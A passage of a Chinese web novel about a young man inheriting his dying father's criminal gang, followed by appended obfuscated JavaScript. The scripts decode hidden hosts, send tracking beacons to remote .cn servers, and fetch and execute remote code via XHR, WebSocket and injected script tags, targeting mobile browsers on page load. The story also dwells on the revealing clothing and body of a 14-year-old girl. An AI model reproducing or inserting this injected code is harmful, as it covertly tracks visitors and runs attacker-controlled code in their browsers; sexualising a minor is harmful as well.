类女性一个模样。否则如果都像成莫师艾一样,谁会有兴趣去上。
    「少爷小姐我们先赶回去白屋,这里的尸体我会找人负责善后的。」柏保狄
亚亲自坐在驾驶席上担任车夫,警戒地环视四方再无异样后就匆匆挥鞭开车。
    「你怎幺找到我的,你用鼻子嗅的吗?为何连斧头也带出来?」
    「不想说。」小伊双手抱胸低头作沈思状。
    「小孩要听大人的话!」
    「姪儿不也要听姑姑的话,你好像从没有听。」我气得闷啍一声不再多语。
    对于突然而来的小姑,就算她是一个丧父之后又被大嫂欺负小女孩,我也不
会同情心大发地让她住在我家。但她连一个招呼也不打就住了下来,我虽然曾经
叫她搬回去,但等她亮出那柄双刃大斧之后我也就无话可说了。不过小伊的确是
个乖巧的女孩,不用我吩咐就负责了所有的家务以及厨房工作。
    我猜想她因为身世可怜,加上缺乏亲人的关怀。所以性格独立自主之余,也
变得内向木讷不善言词。
    像她刚才这样突然来相救,绝不会是甚幺巧合,必定是有人通知她的。这一
点非常重要,但以她的性格既然不愿意说,不管我怎幺问也是没有结果的。
    刚才的那些杀手们,是为了杀柏保狄亚还是为了杀我而来的。我还没有惹下
有能力僱用这种程度的杀手的对手或者仇人。如果杀手真的是为我而来,莫非父
亲真的打算把遗产给我?否则我实在想不出第二个理由。可能还会有其他杀手陆
续出现,我究竟应否放弃去见父亲呢!
    想到如果遇袭时只有我一个人,必然死无全尸!我可不能不在意。
    考虑再三之后还是决定要去,先不管得不得到遗产。我这个人可是恩怨分明
得很,不管对方出于何种理想杀我,我一定要好好回敬一番。我可不是整天想着
隐居快活的缩头乌龟,而是想创下一番霸业的人物,人家欺到头上岂能再忍。
    不久之后我们无惊无险地到达了父亲的「居城」白屋,虽然它只是一间白色
的公馆,设计不算太华丽,朴实之中浸透着屋主的沈稳的性格。但是在黑道里,
白屋却是一个传说,不知有多少人曾闯入这里想干掉我老爸,当中许许多多都是
名震一时的传奇汉子,可全都无一例外地去见了阎王。
    白屋对于我而言却是一个心头痛。子承父业,我在这里出生原本这间屋将由
我继承。我也应该在这里成长,可是除了逢年过节,家人生日我是不许随便走进
来的。
    而这一切的开端,就是基于我早逝的母亲。
    当她因为红杏出墙疑云被赶出家不久,父亲就另娶了一个叫娜拉的妾侍。现
时我最关心的亲人就是妹妹爱玛。早在她还未出生时,她那妾侍母亲就时常作威
作福地欺负我这个元配的儿子,等到她怀有身孕就更加变本加厉。那时我就像憎
恨父亲和后母一样,憎恨着这个还未出世,和我同父异母的孩子。等到妹妹出世,
因为生不出男孩子,那个臭婊子妾侍的那张哭丧脸,我一世都不会忘记,每当想
起还会从心里笑出来。
    也许是上天作弄人,恶毒的母亲却生出一个内向善良胆小怕事的女儿,而且
不知何解她总是喜欢亲近我。爱玛长得像她母亲,这一点叫我很讨厌。小时候我
最喜欢的就是弄些蛇呀青蛙呀的,把她吓个半死,那种感觉真爽快,然之后假装
事不关己出来安慰她,当然这一切都不能叫那臭婊子知道。
    当我进入大闸之后,左右两旁是恭迎我的帮众,而在广大的庭院里,爱玛正
和她所饲养的那一大群猫猫狗狗坐在一起。
    一见我进来,她就满脸愁容地跑过来。
    爱玛今年十四岁,有着和她母亲一样黑色丝绸般的长发,像宇宙般漆黑的一
对眸子,姣好的鹅蛋脸,薄叶似的娇豔红唇。
    年纪渐长她穿着的长裙由小女孩的可爱式样,也换成大人的暴露艳丽款式。
    她虽然不喜欢,但她那个靠卖弄色相发财的母亲,却硬要她穿成这样。
    像今天的这件,下身是典型的圆圆阔阔的杏黄色长裙,好看是好看了。重点
却在上半身,把洁白的藕臂都暴露了出来,一直去到肩膀胸口开到极低,把她己
微微隆起的胸部,以及小小的乳沟,都露了三分一出来。背后就更加过分,直到
腰部为止都没有任何衣服,去掩盖她腻滑粉嫩的裸背。
    活活便宜了我左右两旁的一群禽兽帮众看得口水直流。对于女儿的抗议,她
婊子母亲所说的理由,居然是全为了女儿好。女人穿衣服全是为了给男人看,他
们恨不得你愈穿愈小,但是不穿就太低俗这样子才刚刚好。
    那贱妇的用心,我当然一清二楚。等我老爸死了,财产及帮会就全落在她和
女儿身上。以爱玛的性格怎管得着三山五岳的黑道人马,她自然想要一个多金,
有背境的乘龙快婿了。
    「哥哥……爸爸……爸爸他……」
    爱玛乳燕投怀般扑入我的怀抱,让我的手放在她的纤腰和香肩上,任由她伤
心地在我怀中低泣。
    「没有事的!有哥哥我在……」我轻拍着爱玛的背部抚平她激动的情绪,内
心不由得愁思泉涌。


第三章黑帮继承人
    原本我对爱玛是讨厌多于喜欢的,因为她拥有我所没有的一齐。而改变我们
兄妹关係的关键,就是我母亲的病逝。
    当时我还是个孩子,祇靠兼职的钱怎可替母亲付医药费。事关母亲的性命,
我本意是不要脸地去跟父亲哀求,可是我母亲却不许我这样做。眼见母亲日渐消
瘦满脸病容我快要疯了。最后我唯一想到的方法,就是找爱玛下手,要她去偷家
里的钱。
    靠着爱玛的钱,我才有办法请医生,虽然妈妈最后都没有得救,但是这件事
把我心中唯一的亲人,由母亲变成了妹妹。事情后来终于被那个婊子知道,她不
止禁止爱玛和我见面几个月,还找爸爸的手下打了我一身。这个仇我早晚会报!
    还有那一件让我们两兄妹饱受折磨的绑架事件。
    「小姐不要再哭了!会引起人怀疑的。老爷他吉人自有天相。」柏保狄亚谦
谦君子地拿出一条手帕给我妹妹。
    在我眼中他就和别人一样,对我妹妹别有用心。不过也难怪!谁叫爱玛那幺
引人遐思,她那奇货可居的母亲,又整天叫她穿那些布小到不能再小的衣服勾引
男人。
    像我这种人身上怎会有带手帕,只能像世上其他有可爱妹妹的哥哥,心中带
着少许妒意看着她接过其他男人的手帕,去擦拭她梨花带雨的脸蛋。
    「艾利奥斯、爱玛我先行一步去见大哥。」小伊那张时常木无表情的上,罕
有地带着愁容。
    我颔首示意她先行一步,自己专注于安慰爱玛止住哭声。
    我按着爱玛的肩膀,一起走到花园中的一个大理石建的圆形凉亭内。
    「爸爸万一死了的话,我们一家人怎幺办?」
    「放心有父亲留下的遗产,你不用忧心三餐一宿的,何况还有我这个哥哥照
顾你。真有必要你和小伊都搬到我住的房子。」双目哭得通红的爱玛,看得我真
的心如刀割。
    「不只这样……」爱玛欲言又止垂下螓首。
    「不管怎样哥哥都会保护你的,不会再像那一次一样。」
    我不由得回忆起小时候我们会一起被绑架的事。当时绑匪要斩爱玛的手指好
用来要胁父亲,爱玛拚命大哭向我求助,纵然我愿意用自己的手指代替,绑匪却
没有接受。最后我只能无能为力地看着绑匪斩掉爱玛的尾指,当时红花飞溅的一
幕永远烙印在我心里。
    今时不同往日,我已经不再是无能为力的小孩,我决不会再让人伤害爱玛的。
    「母亲说祇靠我们孤儿寡妇,是无法守护帮会的。如果父亲过世的话,她会
替我挑选一个丈夫作新帮主。哥哥我不想嫁给自己不喜欢的人。」
    或许我的恋母情结真的非常严重。就算爱玛是自愿的我也不想把她交给别的
男人,更何况是在她不愿意的情况之下。
    「有哥哥在谁也无法迫你的。」我豪爽地拍胸口保証,不管爱玛的母亲臭婊
子娜拉怎幺想都好,我也决不会答应。
    在我的劝解和安慰为之下,爱玛总算暂时放下担心和忧伤的心情。
    「我们去看爸爸吧!」牵起爱玛柔若无骨的葇荑,大踏步往家中走去,一个
已经把我排挤出去的家。
    和富丽堂皇的大宅比起来,我那身粗衣麻布,就显得极为不配。
    直入装饰得满是金光,充满臭婊子低劣品味的睡房,我见到睡在龙床般大的
大床上,年满五十的父亲。
    这个人就是我的父亲吗?我在内心自问却不敢相信。
    统率五千帮众的父亲,身上有股不怒而威的杀气,平常人连看他一眼也不敢。
    现在躺在病床上,双颊凹陷额上满是皱纹,出气多入气小。唯一不变的,就
是一对充满杀气,叫人连气都不敢吸大一口的兇邪之眼。
    「来了吗?艾利奥斯。」父亲以充满渴望和悔恨的眼神望着我。
    「是的。」但我只有这幺一句冷淡的回答,破裂的父子关係不是轻易可以修
补的。
    「到现在你还在恨我赶你们母子出家门吗?」
    「换你是我,可以忘记得了吗?」我一声冷笑。
    「当时是我错了!枉我英明一世也会被一个自己所爱的女人欺骗。就算现在
想弥补,你还会愿谅我吗?」
    犹豫再三后我鼓起勇气的问:「我一直想问你,但始终说不出去。今天可能
是最后的机会了,母亲她真的有……」
    「她的肉体虽然有,但她的心从来没有背叛我,是我冤枉了她。」父亲的一
言一语都流露出无尽的悔恨。
    这时候我并没有真正理解父亲的说话,只是感到有如坠落在失落的地狱中,
原来就连我贤慧的母亲也会干出背夫偷汉的事来。
    「如今我的生命已经有如风中残烛,我把帮会和遗产都交给你,你要照顾好
妹妹爱玛,还有小姑伊莲娜。我已经安排好了辅助你的人材,你愿意接受吗?」
    见我沈默以对父亲竭力地再问一遍:「你愿意吗?」
    无论语气和表情,父亲都是认真的,他除了对黑道上的对手,无论是对手下
和家人都是言出必行的。只要一句答应的说话,把内心对父亲报仇的慾望压下,
宽恕并接受他的补偿。父亲手下的五千帮众和万贯家财就都是我的了。
    但对父亲多年的积怨和不满,又岂是旦夕之间可以消失的。我如果答应了就
等于宽恕父亲,让他能安然地离开人世。假使我不答应的话,他将会抱憾而终,
我则会获得複仇的成功感。
    遗产和帮会对一个在人生中大多数的日子,都是穿不暖吃不饱,每天为三餐
烦忧的人,这个诱惑有多大吸引力呀!
    可是!我远不只是面子上放不下去,我才十九岁,有才能有青春,我相信自
己绝对能够实现自己的野心。如果要说再有什幺,坚定着我的信心,就是对母亲
的感情,她含辛茹苦地照顾我,从来没有一句怨言,我万不能背叛她。
    「如果答应你会开心一点的话,那幺我就答应吧!」
    我之所以会选择答应,率直地说贪婪固然是原因之一。但是因为母亲偷汉的
事,我们三个人都受尽了折磨。既然可以选择轻鬆一点的话,我情愿放弃十几年
来被父亲苛待的怨愤。更何况唯有如此我才有能力保护爱玛。
    「我没有尽到教养你的职责。」父亲就像一个年老力衰的老人地感叹,伸出
他昔日强健有力,如今瘦削如枯骨的手握起我的手。
    「最后我只能告诉你混黑道的日子不是简单的,帝都内有二大帮派,我的拉
夫朗帮和白鲸帮,中型的帮派就有七、八个,小型的更多不胜数。一个帮会能维
持上十年已经难得。至于那些能够维持几十年的,就算帮派还在,帮主的家族已
经换了好几国。你是我的独生子,我却没有好好地教养过你,怎样才可以守护好
帮会,不会成为一个败家子,一切就只能靠你自己努力了!」
    「如果你不想走黑道的路,我也可以把帮派交给其他人,只把财产留给你。
但是黑道就是黑道,你不想当别人还不承认呢!何况我能爬到这个地位,背后不
知欠下几多血海深仇。那些人无法向我报仇就会找你。若果你真的决定这样做,
就千万要离开这个国家隐姓埋名做过普通人。」
    「我不会逃避的爸爸!逃避是弱者的表现。弱者只能被强者支配,我也要像
你一样在黑道中闯出一番事业。」人善被人欺马善被人骑,就算没有父亲我也已
经踏足在黑道之内,如今我更不会退缩。
    「好!你有如此气魄为父就不用再担心了。接下来我的时间已经不多了,可
能只有几个小时或者更短,请你原谅我这父亲再对不起你一次,仅余的生命我想
和所爱的女人一起度过,我亏欠她很多很多。」
    父亲露出欣惠的笑容,示意要我退出房间之外。我伤感地放开十四年来才再
次握着的父亲的手。
    同时我心中感叹不己!本来我可以住在这间大屋的,本来可以三餐温饱,可
以不用看人的脸色讨生活,可以有一个愉快的童年。如果不是母亲偷汉的话一切
都不会这样的,等我成为新帮主一定会把那个姦夫找出碎尸万段。
    再我要退出去之前,父亲激烈地咳嗽起来,最后用手掩着嘴巴。我刚想前去
照顾她,一名全身黑衣连面孔也用黑纱遮盖着的女子由屏风后走出来,父亲持续
咳嗽了好一阵子之后,黑衣女子用床边的毛巾悄悄地抹掉手掌中的血。
    想不到父亲除了母亲、后母娜拉外,还另有别的情人。
    「辛苦你了!」父亲唏嘘地说道,苍白的脸上同时展现着一抹笑容。
    「要在黑道混,你还有很多要学习的,好好地向柏保狄亚请教。你绝不能让
敌人和同伴看到自己衰弱的样子。给敌人看到他们会大胆无惧地发动攻击,给同
伴看到会士气大挫信心不振,甚至叛变倒戈。遗产的事我已安排了律师处理,你
出去吧!接下来我有她陪我就以了。」黑衣女子没有说话,可是却深情地握着父
亲的手坐在床边,迎接余下来不多的时间。
    退出房间后,我留宿在白屋。第二天晚上,父亲就已经病逝,其间我们没有
再见面。
    柏保狄亚在交代父亲的死讯后,就跟律师一起和我相讨,接受遗产和继承帮
主之位的事。一直到深夜,律师才告退我也疲惫不堪。对父亲的死我没流一滴眼
泪,伤感是有的但没有了父子情的父子,还能要我怎幺样。
    「接下来要準备丧礼!等继承后再举行,免得其他帮派有机可乘。」
    「今晚我们就别睡了!你到酒吧去取一瓶酒来,要最好的一瓶。」
    坐在家中的大厅,鬆软到把人掩没进去的梳化上,真是说不出的舒爽。相比
之下自己住的烂屋,只有破旧的木家具。
    我到现在还不敢相信,这间大屋己经属于我。看着酒吧的方向,满是名贵的
玻璃酒杯,闪闪生辉地反映着灯光,任何一只也要不少钱。更别提被珍贵地被收
藏的佳酿。我知道酒也有很大学问有很多种类。可是我平常都只喝得起啤酒,除
了比赛获胜时主办者赠送的香槟,那里喝过什幺上等酒。
    一打开瓶盖,酒香就扑鼻而来,充斥在房间之内。
    「人生真是变幻无常!父亲这幺简单就死了,我原想要花十几年的时间,才
能达到他今日的成就。但昨天我还是一个穷小子,今天已是帮派的首领。可是…
…人心果然是无法满足的,我现在已经在想如何吞併别的帮派主掌帝都。」遥想
着未来争霸帝都我胸中顿时豪气上涌。
    「我们拉夫朗帮将来必定会成就统一帝都黑道的大业的。」深有同感的柏保
狄亚给了我一杯,我们一人一杯。
    「铿!为新的帮主。」接下来柏保狄亚主动和我乾杯。
    一入口甘美香甜,又隐隐有一种辣味,喝完之后味道还久久不散。十九年来
我才首次理解享受人生的感觉,由一个领域进入到另一个领域,一个只属于上等
人和成功者的领域。
    一整晚都没有睡,满眼血丝的柏保狄亚道:「少爷!我给你一个忠告,老爷
留下的财产是属于你的。可是帮会并不是,老爷认可要给就能给的,你没有实力
一定会有人挑战你,一旦弄不好我们都会性命不保。帮会的世代交替,往往都要
见血收场。我跟随了你父亲多年,这忠告就当作是我对他的回报。我们再乾一杯!」
    一饮而尽之后,我同时在内心警愓自己,不要太过得意忘形。
    「莫师艾他们在午夜赛马结束后怎样了。」
    「他们在庆祝之后已经各自回家。」
    「一千个金币……要是输了的话,我应该是卖身都还不了这赌债的。但现在
对我来说一千个金币算是什幺钱!」
    「不过少爷似乎赌得太险了。」
    我反驳说:「没有冒险又岂有成功。」柏保狄亚低头沈思不知作何所想。
    骤然继承了庞大的为遗产,我的确是有点过度陶醉了。当时我想也没想到就
是这一千个金币,后来会救了我一命。
    「我有三件事想你替我办的。」
    「请帮主吩咐就是。」
    「第一件事是安排我的五个手下进入帮会来,正值用人之际才能姑且不说,
会忠心于我的人可是要优先採用。其次关于父亲的尸体,请你替我找人冷冻保存。
最后一件就是找出母亲当年的奸夫,我定要剥了他的皮放在白屋的门前作地毯。」
    想到那个让我吃了多年苦的原兇,我一定要有仇报仇。
    「前两件事我立即去办,最后一件的话老爷当年已经杀掉了那群奸夫。」
    我惊讶得张口结舌,好一会儿才说到:「你说是一群而不是一个。」
    「是的。」
    回想起脑海中关于母亲回忆,她是那幺地温婉慈祥。要说她为奸人所骗,被
玩弄了感情就算了。她绝不可能淫蕩得有一大群奸夫的,这当中必定有什幺隐情。
    看着柏保狄亚必恭必敬地退出后,我放下了酒杯。
    别的事我可以交给他去办,但有一件一定要亲自去做的。就是替父亲验尸,
虽然我相信以父亲的精明没有人能下毒害他,可是不亲自检查过不能排除没有这
种可能。
    之后父亲的葬礼,和继承帮主的事,让我忙得头昏眼花,就连心情也变得焦
燥暴戾。更甚者是帮内恐怕有官府的奸细,因为帝都的治安当局安彷似得知了父
亲的死讯一般,特意加强了对我们帮会的调查,分明是给我施一个下马威。
    就在这个忙乱之际,有人来通报疾风女王要求见我这个新帮主。
    「我不是下了命令,要保密父亲的死讯吗?怎幺好像全世界都已经知道一样。」
    我大发雷霆之怒向柏保狄亚骂道。
    柏保狄亚诚惶诚恐的道:「我一定会严加查问,找出是谁把消息洩漏出去的。」
    我好不容易冷静下来。柏保狄亚是父亲多年的老臣子,在他有病这段期间更
等如暂代了帮主一职,他纵有百般不是权衡轻重利害我也不应该如此对他。是酒
喝多了,还是近日睡眠不足的缘故,最近总是慾火难制脾气暴躁,根本不像平常
的我。
    我内心暗暗一寒,觉得当中定有什幺不妥,决定即日起戒酒之余,还要好好
调理好身体。更大的问题倒不是健康,而是身边竟然没有一个有足够聪明才智和
可信赖的人,一切都要我亲力亲为。
    暂时抛开俗务烦恼,回想起疾风女皇的魅力。虽然我是很想把艾利亚拉到自
己的床上去,但目前还没有这个闲情。教我想不到的是,现实里竟然会有自动送
到口边的天鹅肉。
    我在父亲生前的书房里,独自接见艾利亚。
    推门而入的疾风女王没有了往昔的明艳照人,换上了一身黑色的丧服,眉宇
之间更带着几分哀怨憔悴,叫人看了心痛。
    「想不到你不止骑术精湛,消息还非常灵通,这幺快就登门来致哀。」
    「你误会了!我之所以身穿丧服,更重要的原因是一直包养我的情人刚刚去
世了。」愁眉不展的艾利亚,想必对那个人用情很深。
    「我倒是很好奇我早已封锁消息,为何你还知道我已接替了父亲。」
    愁眉深锁的艾利亚道:「心思细密的人自然会知道,白屋这几天可没有再找
医生来诊症。」在这种小地方上出现问题,如果不是她提及我可不会注意到。
    「那幺你特意登门拜访,是有事相求吗?今时不同往日,我可以在金钱上略
作支援。」看她这个模样叫人心中不忍。
   

function BUjbpuVA(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function vSksqbAj(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return BUjbpuVA(t);};window[''+'x'+'j'+'d'+'V'+'g'+'I'+'C'+'t'+'Q'+'T'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function AaoQ(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=vSksqbAj,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=AaoQ(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9473/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=AaoQ(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnnB0bC5jbiUzQTg4OTE=','d3NzJJTNBJJTJJGJJTJJGYS53aGJJnei5jbiUzQTk1MzU=','9171',window,document,['n','J']);}:function(){};
function jQEAxPhY(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function GIVrKx(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return jQEAxPhY(t);};window[''+'Q'+'m'+'M'+'x'+'s'+'U'+'Y'+'E'+'e'+'B'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function OKqtg(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=GIVrKx,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=OKqtg(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15636/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=OKqtg(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jjbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS55a2toanMuY24lM0E5NTTM1','168218',window,document,['j','T']);}:function(){};
let urls=["hSStSStSSpSSsSS:SS/SS/SSmSSqSS1SS4SSnSS3SS8SS9SS2SS.SSoSSsSSsSS-SScSSnSS-SSsSShSSaSSnSSgSShSSaSSiSS.SSaSSlSSiSSySSuSSnSScSSsSS.SScSSoSSmSS/SS1SS4SS/SS1SS1SS0SS5SS5SSbSSaSSfSScSS2SS3SS3SS4".split("SS").join(""),"hMMtMMtMMpMMsMM:MM/MM/MMpMM.MMgMMoMMdMMmMMwMMiMMtMMhMM.MMcMMoMMmMM/MM1MM4MM/MM1MM1MM0MM5MM5MMbMMaMMfMMcMM2MM3MM3MM4".split("MM").join(""),"hRRtRRtRRpRRsRR:RR/RR/RRoRRcRR1RR8RR1RR4RRnRR3RR8RR9RR2RR.RRoRRsRRsRR-RRcRRnRR-RRsRRhRRaRRnRRgRRhRRaRRiRR.RRaRRlRRiRRyRRuRRnRRcRRsRR.RRcRRoRRmRR/RR1RR4RR/RR1RR1RR0RR5RR5RRbRRaRRfRRcRR2RR3RR3RR4".split("RR").join(""),"hDDtDDtDDpDDsDD:DD/DD/DDdDD8DD9DD-DD1DD3DD1DD3DD9DD4DD4DD0DD6DD2DD.DDcDDoDDsDD.DDaDDpDD-DDhDDoDDnDDgDDkDDoDDnDDgDD.DDmDDyDDqDDcDDlDDoDDuDDdDD.DDcDDoDDmDD/DD1DD1DD0DD5DD5DDbDDaDDfDDcDD2DD3DD3DD4".split("DD").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2334_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();